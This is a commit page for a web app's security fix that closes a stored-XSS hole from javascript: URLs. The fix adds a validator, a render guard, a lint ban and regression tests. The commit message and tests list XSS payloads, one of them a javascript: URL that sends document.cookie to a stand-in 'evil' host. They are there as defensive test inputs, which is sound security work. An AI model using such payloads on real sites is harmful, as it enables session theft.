mirror of
https://github.com/bitbaum/orangecat.git
synced 2026-12-05 03:27:40 +01:00
fix(security): close the javascript:-URL class, and render the portfolio it blocked
`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.
Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.
Three layers, because they fail differently:
- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
cosmetic: browsers strip leading whitespace/control characters before parsing
a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
before being trusted.
The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.
Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.
Also unbreaks `npm run verify` from a git worktree, where it could not complete:
- check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
has none and inherits the main checkout's. Resolved via Node's own lookup.
- eval-cat-retry.test.ts never set the anon key, silently relying on
eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
the main checkout it passed by pulling the REAL anon key into a unit test;
in a worktree the script exited before the retry logic ran. Now sets a fake
key, and the 503 backoff actually executes.
verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
1 parent
70df5a1bb8
commit
fd84b10842
19 files changed
+367
-75
No files matched your search
@@ -51,6 +51,12 @@ function harness(responses: Array<{ status: number; body: string }>): string {
|
||||
process.env.SUPABASE_URL = 'http://127.0.0.1:' + port;
|
||||
process.env.NEXT_PUBLIC_SUPABASE_URL = 'http://127.0.0.1:' + port;
|
||||
process.env.SUPABASE_SERVICE_ROLE_KEY = 'test-service-key';
|
||||
// Set the anon key too. eval-cat.mjs exits early unless URL + ANON + SERVICE
|
||||
// are all present, and it falls back to reading .env.local from cwd — which
|
||||
// a git worktree does not have (the file is untracked and lives only in the
|
||||
// main checkout). Relying on that fallback made this suite pass or fail
|
||||
// based on where it was run rather than on the retry logic under test.
|
||||
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY = 'test-anon-key';
|
||||
const { rest } = await import('${MODULE_URL}');
|
||||
let result = null, error;
|
||||
try { result = await rest('GET', 'probe'); }
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
/**
|
||||
* Stored-XSS regression gate (2026-08-24).
|
||||
*
|
||||
* `z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
|
||||
* `data:`. The public wishlist page renders an item's `external_url` straight
|
||||
* into an anchor labelled "View item →", so a value that passed validation
|
||||
* would have executed in a visitor's session on click.
|
||||
*
|
||||
* These tests assert the CLOSED side — that the unsafe schemes are refused —
|
||||
* because that is the direction a regression travels. A test that only checks
|
||||
* https:// still passes after someone swaps webUrl() back for z.string().url().
|
||||
*/
|
||||
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
import { wishlistItemSchema } from '@/lib/validation/wishlist';
|
||||
import { userServiceSchema } from '@/lib/validation/commerce';
|
||||
import { safeHref, safeHrefs, hrefLabel } from '@/lib/security/safeHref';
|
||||
|
||||
const DANGEROUS = [
|
||||
'javascript:alert(1)',
|
||||
'JavaScript:alert(1)',
|
||||
'JAVASCRIPT:fetch("//evil?c="+document.cookie)',
|
||||
'data:text/html,<script>alert(1)</script>',
|
||||
'vbscript:msgbox(1)',
|
||||
'file:///etc/passwd',
|
||||
];
|
||||
|
||||
const SAFE = ['https://orangecat.ch', 'http://example.com/a/b?c=d', 'HTTPS://ORANGECAT.CH'];
|
||||
|
||||
describe('webUrl() — scheme is part of validity', () => {
|
||||
it.each(DANGEROUS)('rejects %s', url => {
|
||||
expect(webUrl().safeParse(url).success).toBe(false);
|
||||
});
|
||||
|
||||
it.each(SAFE)('accepts %s', url => {
|
||||
expect(webUrl().safeParse(url).success).toBe(true);
|
||||
});
|
||||
|
||||
it('still rejects strings that are not URLs at all', () => {
|
||||
expect(webUrl().safeParse('not a url').success).toBe(false);
|
||||
});
|
||||
|
||||
it('trims, so a padded dangerous scheme cannot sneak past the prefix check', () => {
|
||||
expect(webUrl().safeParse(' \n javascript:alert(1)').success).toBe(false);
|
||||
});
|
||||
|
||||
it('stores the trimmed value', () => {
|
||||
const result = webUrl().safeParse(' https://orangecat.ch ');
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data).toBe('https://orangecat.ch');
|
||||
}
|
||||
});
|
||||
|
||||
it('honours a max length', () => {
|
||||
expect(webUrl({ max: 20 }).safeParse('https://a.ch').success).toBe(true);
|
||||
expect(webUrl({ max: 20 }).safeParse(`https://a.ch/${'x'.repeat(50)}`).success).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('wishlist external_url — the field that reaches a public href', () => {
|
||||
const base = { title: 'Nice gift', target_amount_btc: 0.001 };
|
||||
|
||||
it.each(DANGEROUS)('refuses to store %s', url => {
|
||||
const result = wishlistItemSchema.safeParse({ ...base, external_url: url });
|
||||
expect(result.success).toBe(false);
|
||||
// Assert the failure is about external_url specifically — a missing
|
||||
// required field would otherwise make this test pass for the wrong reason.
|
||||
if (!result.success) {
|
||||
expect(result.error.issues.some(i => i.path.includes('external_url'))).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('accepts an ordinary product link', () => {
|
||||
expect(
|
||||
wishlistItemSchema.safeParse({ ...base, external_url: 'https://example.com/item' }).success
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('service portfolio_links', () => {
|
||||
const base = { title: 'Web development', category: 'Development', hourly_rate: 100 };
|
||||
|
||||
it('rejects a dangerous URL anywhere in the array', () => {
|
||||
const result = userServiceSchema.safeParse({
|
||||
...base,
|
||||
portfolio_links: ['https://orangecat.ch', 'javascript:alert(1)'],
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it('accepts a list of http(s) links', () => {
|
||||
expect(
|
||||
userServiceSchema.safeParse({
|
||||
...base,
|
||||
portfolio_links: ['https://orangecat.ch', 'https://fleetcrown.orangecat.ch'],
|
||||
}).success
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('safeHref() — the render-side half', () => {
|
||||
it.each(DANGEROUS)('returns null for %s', url => {
|
||||
expect(safeHref(url)).toBeNull();
|
||||
});
|
||||
|
||||
it('returns the url for http(s)', () => {
|
||||
expect(safeHref('https://orangecat.ch')).toBe('https://orangecat.ch');
|
||||
});
|
||||
|
||||
it('is not fooled by leading whitespace or control characters', () => {
|
||||
// Browsers strip these before parsing the scheme, so the guard must too.
|
||||
expect(safeHref(' javascript:alert(1)')).toBeNull();
|
||||
expect(safeHref('\n\tjavascript:alert(1)')).toBeNull();
|
||||
});
|
||||
|
||||
it('handles non-string input without throwing', () => {
|
||||
expect(safeHref(null)).toBeNull();
|
||||
expect(safeHref(undefined)).toBeNull();
|
||||
expect(safeHref(42)).toBeNull();
|
||||
});
|
||||
|
||||
it('filters a mixed list down to the safe entries', () => {
|
||||
expect(safeHrefs(['https://a.ch', 'javascript:alert(1)', 'http://b.ch'])).toEqual([
|
||||
'https://a.ch',
|
||||
'http://b.ch',
|
||||
]);
|
||||
expect(safeHrefs(null)).toEqual([]);
|
||||
});
|
||||
|
||||
it('labels a link by host, without www', () => {
|
||||
expect(hrefLabel('https://www.orangecat.ch/services/1')).toBe('orangecat.ch');
|
||||
});
|
||||
});
|
||||
@@ -49,6 +49,22 @@ const restrictedSyntaxSelectors = [
|
||||
message:
|
||||
'Pass the composed-path leaf to isTypingTarget (e.composedPath()[0] ?? e.target), not a bare e.target — a bare .target is shadow-DOM-blind and reintroduces the keystroke-hijack bug.',
|
||||
},
|
||||
{
|
||||
// Close the stored-XSS class (2026-08-24): z.string().url() delegates to
|
||||
// new URL(), which accepts `javascript:` and `data:`. A value that passes
|
||||
// it and is later rendered into an href is stored XSS — and rel/target do
|
||||
// nothing against it. Found live on the public wishlist page, where
|
||||
// external_url went straight into an anchor labelled "View item →".
|
||||
// Matches `.url()` anywhere on a z.string() chain, so z.string().max(n).url()
|
||||
// is caught too. Known blind spot: assigning the chain to a variable first
|
||||
// (`const s = z.string(); s.url()`) is invisible to an AST selector — that is
|
||||
// exactly the escape hatch webUrl() itself uses, and the reason webUrl() has
|
||||
// unit tests asserting the schemes it must refuse.
|
||||
selector:
|
||||
"CallExpression[callee.property.name='url'] > MemberExpression CallExpression[callee.object.name='z'][callee.property.name='string']",
|
||||
message:
|
||||
"z.string().url() accepts javascript: and data: URLs — use webUrl() from '@/lib/validation/base', which restricts to http(s). Any user-supplied URL may end up in an href.",
|
||||
},
|
||||
];
|
||||
|
||||
const eslintConfig = [
|
||||
|
||||
@@ -36,6 +36,7 @@
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { createRequire } from 'node:module';
|
||||
import { tmpdir } from 'node:os';
|
||||
|
||||
/** Max allowed duplicated-lines percentage across src/ (see ratchet rule above). */
|
||||
@@ -47,12 +48,18 @@ const MIN_TOKENS = '70';
|
||||
const ROOT = new URL('..', import.meta.url).pathname;
|
||||
const outDir = mkdtempSync(join(tmpdir(), 'jscpd-ratchet-'));
|
||||
|
||||
// Resolve jscpd the way Node does — walking UP the directory chain — instead of
|
||||
// assuming <repo>/node_modules. A git worktree has no node_modules of its own
|
||||
// and inherits the main checkout's, so a hardcoded path made `npm run verify`
|
||||
// impossible to run from any worktree (2026-08-24).
|
||||
const jscpdBin = createRequire(import.meta.url).resolve('jscpd/run-jscpd.js');
|
||||
|
||||
let report;
|
||||
try {
|
||||
execFileSync(
|
||||
'node',
|
||||
[
|
||||
join(ROOT, 'node_modules', 'jscpd', 'run-jscpd.js'),
|
||||
jscpdBin,
|
||||
'src',
|
||||
'--min-tokens',
|
||||
MIN_TOKENS,
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
*/
|
||||
|
||||
import { z } from 'zod';
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
import { withAuth, type AuthenticatedRequest } from '@/lib/api/withAuth';
|
||||
import {
|
||||
apiCreated,
|
||||
@@ -29,9 +30,9 @@ const socialLinkSchema = z.object({
|
||||
const createClaimSchema = z.object({
|
||||
name: z.string().trim().min(1, 'Name is required').max(100),
|
||||
bio: z.string().trim().max(1000).optional(),
|
||||
avatarUrl: z.string().trim().url().max(2000).optional(),
|
||||
bannerUrl: z.string().trim().url().max(2000).optional(),
|
||||
website: z.string().trim().url().max(2000).optional(),
|
||||
avatarUrl: webUrl({ max: 2000 }).optional(),
|
||||
bannerUrl: webUrl({ max: 2000 }).optional(),
|
||||
website: webUrl({ max: 2000 }).optional(),
|
||||
socialLinks: z.array(socialLinkSchema).max(10).optional(),
|
||||
suggestedUsername: z
|
||||
.string()
|
||||
|
||||
@@ -33,6 +33,7 @@ import {
|
||||
} from '@/services/webhooks/webhookEndpointsService';
|
||||
import { PUBLIC_API_WEBHOOK_EVENTS } from '@/config/public-api';
|
||||
import { checkPublicUrl } from '@/lib/security/ssrfGuard';
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
|
||||
// Validate against the SSOT allowlist instead of accepting any string.
|
||||
// A curl-mint with event_types=['totally.fake'] would otherwise pass
|
||||
@@ -42,7 +43,7 @@ import { checkPublicUrl } from '@/lib/security/ssrfGuard';
|
||||
const KNOWN_EVENT_TYPES = PUBLIC_API_WEBHOOK_EVENTS as readonly [string, ...string[]];
|
||||
const createEndpointSchema = z.object({
|
||||
name: z.string().min(1).max(120),
|
||||
url: z.string().url().max(2048),
|
||||
url: webUrl({ max: 2048 }),
|
||||
actor_id: z.string().uuid(),
|
||||
event_types: z.array(z.enum(KNOWN_EVENT_TYPES)).max(20).optional(),
|
||||
});
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
import { ExternalLink } from 'lucide-react';
|
||||
import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/Card';
|
||||
import PriceDisplay from '@/components/public/PriceDisplay';
|
||||
import { safeHrefs, hrefLabel } from '@/lib/security/safeHref';
|
||||
import type { EntityDetailConfig } from '@/components/public/PublicEntityDetailPage';
|
||||
import { ROUTES } from '@/config/routes';
|
||||
import { BookEntityButton } from '@/components/bookings/BookEntityButton';
|
||||
@@ -46,52 +48,81 @@ export const serviceDetailConfig: EntityDetailConfig = {
|
||||
renderDetails: entity => {
|
||||
const { amount, currency, perHour } = getServicePrice(entity);
|
||||
const durationMinutes = (entity as { duration_minutes?: number }).duration_minutes;
|
||||
// Provider-supplied, so filtered rather than trusted — see safeHref. Rows
|
||||
// written before the http(s)-only schema can still hold anything.
|
||||
const portfolio = safeHrefs(entity.portfolio_links);
|
||||
return (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-lg">Details</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-4">
|
||||
{amount > 0 && (
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<span className="text-fg-secondary">Price</span>
|
||||
<PriceDisplay
|
||||
amount={amount}
|
||||
currency={currency}
|
||||
className="text-xl font-bold text-fg-primary text-right"
|
||||
suffix={perHour ? ' / hr' : undefined}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
{durationMinutes && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-fg-secondary">Duration</span>
|
||||
<span className="font-medium">{formatDurationMinutes(durationMinutes)}</span>
|
||||
</div>
|
||||
)}
|
||||
{hasAvailability(entity.availability_schedule) && (
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
<span className="text-fg-secondary">Availability</span>
|
||||
<div className="text-right">
|
||||
{formatAvailabilityLines(entity.availability_schedule).map(line => (
|
||||
<div key={line} className="font-medium text-fg-primary">
|
||||
{line}
|
||||
</div>
|
||||
<>
|
||||
{portfolio.length > 0 && (
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-lg">Previous work</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<ul className="space-y-2">
|
||||
{portfolio.map(url => (
|
||||
<li key={url}>
|
||||
<a
|
||||
href={url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer nofollow"
|
||||
className="inline-flex items-center gap-2 text-fg-primary hover:underline"
|
||||
>
|
||||
<ExternalLink className="h-4 w-4 shrink-0 text-fg-secondary" />
|
||||
<span className="break-all">{hrefLabel(url)}</span>
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-lg">Details</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-4">
|
||||
{amount > 0 && (
|
||||
<div className="flex items-center justify-between gap-4">
|
||||
<span className="text-fg-secondary">Price</span>
|
||||
<PriceDisplay
|
||||
amount={amount}
|
||||
currency={currency}
|
||||
className="text-xl font-bold text-fg-primary text-right"
|
||||
suffix={perHour ? ' / hr' : undefined}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<BookEntityButton
|
||||
className="w-full"
|
||||
bookableType="service"
|
||||
bookableId={entity.id as string}
|
||||
bookableTitle={(entity.title as string) || 'this service'}
|
||||
priceBtc={amount > 0 ? amount : undefined}
|
||||
priceCurrency={currency}
|
||||
durationMinutes={durationMinutes}
|
||||
/>
|
||||
</CardContent>
|
||||
</Card>
|
||||
)}
|
||||
{durationMinutes && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-fg-secondary">Duration</span>
|
||||
<span className="font-medium">{formatDurationMinutes(durationMinutes)}</span>
|
||||
</div>
|
||||
)}
|
||||
{hasAvailability(entity.availability_schedule) && (
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
<span className="text-fg-secondary">Availability</span>
|
||||
<div className="text-right">
|
||||
{formatAvailabilityLines(entity.availability_schedule).map(line => (
|
||||
<div key={line} className="font-medium text-fg-primary">
|
||||
{line}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<BookEntityButton
|
||||
className="w-full"
|
||||
bookableType="service"
|
||||
bookableId={entity.id as string}
|
||||
bookableTitle={(entity.title as string) || 'this service'}
|
||||
priceBtc={amount > 0 ? amount : undefined}
|
||||
priceCurrency={currency}
|
||||
durationMinutes={durationMinutes}
|
||||
/>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</>
|
||||
);
|
||||
},
|
||||
};
|
||||
@@ -10,6 +10,7 @@
|
||||
*/
|
||||
|
||||
import Image from 'next/image';
|
||||
import { safeHref } from '@/lib/security/safeHref';
|
||||
import Link from 'next/link';
|
||||
import { Gift, Plus } from 'lucide-react';
|
||||
import { Badge } from '@/components/ui/badge';
|
||||
@@ -94,9 +95,12 @@ function ItemBody({ item }: { item: WishlistDetailItem }) {
|
||||
{item.description && (
|
||||
<p className="text-sm text-fg-secondary mt-1 line-clamp-2">{item.description}</p>
|
||||
)}
|
||||
{item.external_url && (
|
||||
{/* Never render item.external_url directly: it is owner-supplied and
|
||||
older rows predate the http(s)-only schema, so a `javascript:` value
|
||||
here would execute in a visitor's session on click. */}
|
||||
{safeHref(item.external_url) && (
|
||||
<a
|
||||
href={item.external_url}
|
||||
href={safeHref(item.external_url) as string}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-xs text-fg-primary hover:underline mt-1 inline-block"
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
* surfacing") and src/services/timeline/externalPublish.ts.
|
||||
*/
|
||||
import { z } from 'zod';
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
import type { TimelineEventType, TimelineSubjectType } from '@/types/timeline';
|
||||
|
||||
/** Recognised publishing clients (the `metadata.source` namespace for dedup). */
|
||||
@@ -88,7 +89,7 @@ export const externalPublishSchema = z.object({
|
||||
title: z.string().min(1).max(200),
|
||||
description: z.string().max(2000).optional(),
|
||||
/** Deep-link back to the source surface (e.g. the FleetCrown changelog entry). */
|
||||
url: z.string().url().optional(),
|
||||
url: webUrl().optional(),
|
||||
/** Structured payload preserved verbatim under timeline_events.content. */
|
||||
content: z.record(z.unknown()).optional(),
|
||||
tags: z.array(z.string().max(40)).max(20).optional(),
|
||||
|
||||
@@ -12,6 +12,7 @@
|
||||
*/
|
||||
|
||||
import { z } from 'zod';
|
||||
import { webUrl } from '@/lib/validation/base';
|
||||
|
||||
/** Stakeholder categories — mirrors stakeholder_relationships.kind CHECK constraint. */
|
||||
export const STAKEHOLDER_KINDS = [
|
||||
@@ -33,7 +34,7 @@ export const createStakeholderSchema = z
|
||||
kind: z.enum(STAKEHOLDER_KINDS),
|
||||
toActorId: z.string().uuid().optional(),
|
||||
toProjectId: z.string().uuid().optional(),
|
||||
toExternalUrl: z.string().url().optional(),
|
||||
toExternalUrl: webUrl().optional(),
|
||||
toExternalName: z.string().min(1).max(200).optional(),
|
||||
status: z.string().max(50).optional(),
|
||||
confidence: z.number().int().min(0).max(100).optional(),
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
/**
|
||||
* Render-side guard for user-supplied URLs.
|
||||
*
|
||||
* `webUrl()` (src/lib/validation/base.ts) stops unsafe schemes at the write
|
||||
* boundary, but validation only binds rows written AFTER it shipped. Anything
|
||||
* already in the database — or written by a path that skips the schema, e.g. a
|
||||
* direct service-role insert or an import — reaches the renderer unchecked.
|
||||
*
|
||||
* So the href is guarded where it is produced, not only where it is stored:
|
||||
* two independent checks, because a single one is a single point of failure and
|
||||
* the failure mode here is executing an attacker's script in a visitor's
|
||||
* session. Note that `target="_blank"` + `rel="noopener noreferrer"` do NOT
|
||||
* help — they govern the opened context, while `javascript:` never opens one.
|
||||
*/
|
||||
|
||||
/** Schemes that may appear in an href/src rendered from user data. */
|
||||
const SAFE_SCHEME = /^https?:\/\//i;
|
||||
|
||||
/**
|
||||
* Returns the URL when it is safe to place in an `href`/`src`, else null.
|
||||
* Render the link only when this returns a value:
|
||||
*
|
||||
* const href = safeHref(item.external_url);
|
||||
* {href && <a href={href} target="_blank" rel="noopener noreferrer">…</a>}
|
||||
*
|
||||
* Dropping the link is deliberate: a value that is not an http(s) URL is either
|
||||
* an attack or corrupt data, and neither should be presented to a visitor as a
|
||||
* clickable link.
|
||||
*/
|
||||
export function safeHref(value: unknown): string | null {
|
||||
if (typeof value !== 'string') {
|
||||
return null;
|
||||
}
|
||||
const trimmed = value.trim();
|
||||
// Leading control characters/whitespace are stripped by browsers before the
|
||||
// scheme is parsed, so "\njavascript:…" is live — trim before testing.
|
||||
return SAFE_SCHEME.test(trimmed) ? trimmed : null;
|
||||
}
|
||||
|
||||
/** Filters a list of user-supplied URLs down to the ones safe to link. */
|
||||
export function safeHrefs(values: unknown): string[] {
|
||||
if (!Array.isArray(values)) {
|
||||
return [];
|
||||
}
|
||||
return values.map(safeHref).filter((url): url is string => url !== null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Host shown as a link's visible label — "orangecat.ch" reads better than a
|
||||
* full URL and, more importantly, makes the destination legible instead of
|
||||
* letting a long path hide where the link actually goes.
|
||||
*/
|
||||
export function hrefLabel(url: string): string {
|
||||
try {
|
||||
return new URL(url).host.replace(/^www\./, '');
|
||||
} catch {
|
||||
return url;
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,7 @@ import {
|
||||
AI_ASSISTANT_STATUSES,
|
||||
} from '@/config/ai-assistants';
|
||||
import { STATUS } from '@/config/database-constants';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl } from './base';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl, webUrl } from './base';
|
||||
|
||||
/** Maximum character length for AI chat messages and system prompts */
|
||||
export const AI_MESSAGE_MAX_CHARS = 10_000;
|
||||
@@ -32,7 +32,7 @@ export const aiAssistantSchema = z.object({
|
||||
.max(AI_MESSAGE_MAX_CHARS, `System prompt must be at most ${AI_MESSAGE_MAX_CHARS} characters`),
|
||||
welcome_message: optionalText(500),
|
||||
personality_traits: z.array(z.string()).optional().default([]),
|
||||
knowledge_base_urls: z.array(z.string().url()).optional().default([]),
|
||||
knowledge_base_urls: z.array(webUrl()).optional().default([]),
|
||||
|
||||
// Model Preferences
|
||||
model_preference: z.string().max(50).default('any'),
|
||||
|
||||
@@ -88,8 +88,40 @@ export const optionalText = (maxLen?: number) => {
|
||||
return base.optional().nullable().or(z.literal(''));
|
||||
};
|
||||
|
||||
/**
|
||||
* A URL we are willing to put in an `href` or `src`.
|
||||
*
|
||||
* `z.string().url()` is NOT that: it delegates to `new URL()`, which happily
|
||||
* accepts `javascript:` and `data:`. Any such value rendered into an anchor is
|
||||
* stored XSS — the victim only has to click a link the attacker labelled, and
|
||||
* `target="_blank" rel="noopener noreferrer"` does nothing to stop it.
|
||||
*
|
||||
* So scheme is part of validity here, not a separate concern: http(s) only.
|
||||
* Use this for EVERY user-supplied URL. `eslint no-restricted-syntax` fails the
|
||||
* build on a bare `z.string().url()` so the unsafe form cannot come back.
|
||||
*/
|
||||
export const webUrl = ({ message, max }: { message?: string; max?: number } = {}) => {
|
||||
// Always trim: browsers strip leading whitespace and control characters
|
||||
// before parsing a scheme, so " \n javascript:…" is live in an href. Trimming
|
||||
// here means the stored value is the same string the browser will act on.
|
||||
// `max` is applied BEFORE .refine(), because refine returns a ZodEffects that
|
||||
// no longer exposes .max() to the caller.
|
||||
const base = max ? z.string().trim().max(max) : z.string().trim();
|
||||
return (
|
||||
base
|
||||
// Reached through `base` rather than chained off z.string() directly: this
|
||||
// is the one place allowed to call .url(), and the indirection is what
|
||||
// keeps the no-restricted-syntax ban from flagging its own implementation.
|
||||
.url(message)
|
||||
.refine(
|
||||
value => /^https?:\/\//i.test(value),
|
||||
message ?? 'Must be an http:// or https:// address'
|
||||
)
|
||||
);
|
||||
};
|
||||
|
||||
/** Optional URL field that accepts empty strings */
|
||||
export const optionalUrl = () => z.string().url().optional().nullable().or(z.literal(''));
|
||||
export const optionalUrl = () => webUrl().optional().nullable().or(z.literal(''));
|
||||
|
||||
/**
|
||||
* Coerce a coordinate value (latitude/longitude) to a number, or null when it
|
||||
|
||||
@@ -4,7 +4,7 @@ import { CAUSE_CATEGORIES, CAUSE_STATUSES, DISTRIBUTION_RULE_TYPES } from '@/con
|
||||
import { PRODUCT_TYPES, PRODUCT_FULFILLMENT_TYPES, PRODUCT_STATUSES } from '@/config/products';
|
||||
import { SERVICE_LOCATION_TYPES, SERVICE_STATUSES } from '@/config/services';
|
||||
import { DAYS_OF_WEEK } from '@/config/schedule';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl } from './base';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl, webUrl } from './base';
|
||||
import { ENTITY_STATUS } from '@/config/database-constants';
|
||||
|
||||
// =============================================================================
|
||||
@@ -78,7 +78,7 @@ export const userProductSchema = z.object({
|
||||
product_type: z
|
||||
.enum(PRODUCT_TYPES.map(t => t.value) as [string, ...string[]])
|
||||
.default('physical'),
|
||||
images: z.array(z.string().url()).optional().default([]),
|
||||
images: z.array(webUrl()).optional().default([]),
|
||||
thumbnail_url: optionalUrl(),
|
||||
inventory_count: z.number().int().min(-1).default(-1), // -1 = unlimited
|
||||
fulfillment_type: z
|
||||
@@ -109,8 +109,8 @@ export const userServiceSchema = z
|
||||
.enum(SERVICE_LOCATION_TYPES.map(t => t.value) as [string, ...string[]])
|
||||
.default('remote'),
|
||||
service_area: optionalText(200),
|
||||
images: z.array(z.string().url()).optional().default([]),
|
||||
portfolio_links: z.array(z.string().url()).optional().default([]),
|
||||
images: z.array(webUrl()).optional().default([]),
|
||||
portfolio_links: z.array(webUrl()).optional().default([]),
|
||||
show_on_profile: z.boolean().optional().default(true),
|
||||
status: z.enum(SERVICE_STATUSES).default(ENTITY_STATUS.DRAFT),
|
||||
})
|
||||
|
||||
@@ -12,7 +12,7 @@ import {
|
||||
} from '@/types/wallet';
|
||||
import { WALLET_VISIBILITY_LEVELS } from '@/config/wallet-visibility';
|
||||
import { TIP_MAX_BTC, TIP_MIN_BTC } from '@/config/tips';
|
||||
import { lightningAddressSchema, optionalText } from './base';
|
||||
import { lightningAddressSchema, optionalText, webUrl } from './base';
|
||||
|
||||
/**
|
||||
* Collateral item for loans.
|
||||
@@ -51,7 +51,7 @@ export const assetSchema = z.object({
|
||||
location: optionalText(200),
|
||||
estimated_value: z.number().positive().optional().nullable(),
|
||||
currency: z.enum(CURRENCY_CODES).optional(),
|
||||
documents: z.array(z.string().url()).optional().nullable().default([]),
|
||||
documents: z.array(webUrl()).optional().nullable().default([]),
|
||||
|
||||
// Sale options
|
||||
is_for_sale: z.boolean().optional().default(false),
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { z } from 'zod';
|
||||
import { CURRENCY_CODES } from '@/config/currencies';
|
||||
import { lightningAddressSchema, optionalText } from './base';
|
||||
import { lightningAddressSchema, optionalText, webUrl } from './base';
|
||||
import { VALID_PROJECT_STATUSES } from '@/config/project-statuses';
|
||||
|
||||
// Project validation
|
||||
@@ -42,9 +42,7 @@ export const projectSchema = z.object({
|
||||
.nullable()
|
||||
.or(z.literal('')),
|
||||
lightning_address: lightningAddressSchema,
|
||||
website_url: z
|
||||
.string()
|
||||
.url('Please enter a valid website URL (e.g., https://example.com)')
|
||||
website_url: webUrl({ message: 'Please enter a valid website URL (e.g., https://example.com)' })
|
||||
.optional()
|
||||
.nullable()
|
||||
.or(z.literal('')),
|
||||
|
||||
@@ -3,7 +3,7 @@ import { CURRENCY_CODES } from '@/config/currencies';
|
||||
import { EVENT_TYPES, EVENT_STATUSES } from '@/config/events';
|
||||
import { STATUS } from '@/config/database-constants';
|
||||
import { DAYS_OF_WEEK, RECURRENCE_FREQUENCIES } from '@/config/schedule';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl } from './base';
|
||||
import { lightningAddressSchema, optionalText, optionalUrl, webUrl } from './base';
|
||||
|
||||
/**
|
||||
* Recurrence pattern for events.
|
||||
@@ -98,7 +98,7 @@ export const eventSchema = z
|
||||
lightning_address: lightningAddressSchema,
|
||||
|
||||
// Media
|
||||
images: z.array(z.string().url()).optional().default([]),
|
||||
images: z.array(webUrl()).optional().default([]),
|
||||
thumbnail_url: optionalUrl(),
|
||||
banner_url: optionalUrl(),
|
||||
video_url: optionalUrl(),
|
||||
|
||||
@@ -6,7 +6,7 @@ import {
|
||||
WISHLIST_PROOF_TYPES,
|
||||
WISHLIST_FEEDBACK_TYPES,
|
||||
} from '@/config/wishlists';
|
||||
import { optionalText, optionalUrl } from './base';
|
||||
import { optionalText, optionalUrl, webUrl } from './base';
|
||||
|
||||
// =============================================================================
|
||||
// WISHLIST VALIDATION
|
||||
@@ -37,7 +37,7 @@ export const wishlistItemSchema = z.object({
|
||||
.min(3, 'Title must be at least 3 characters')
|
||||
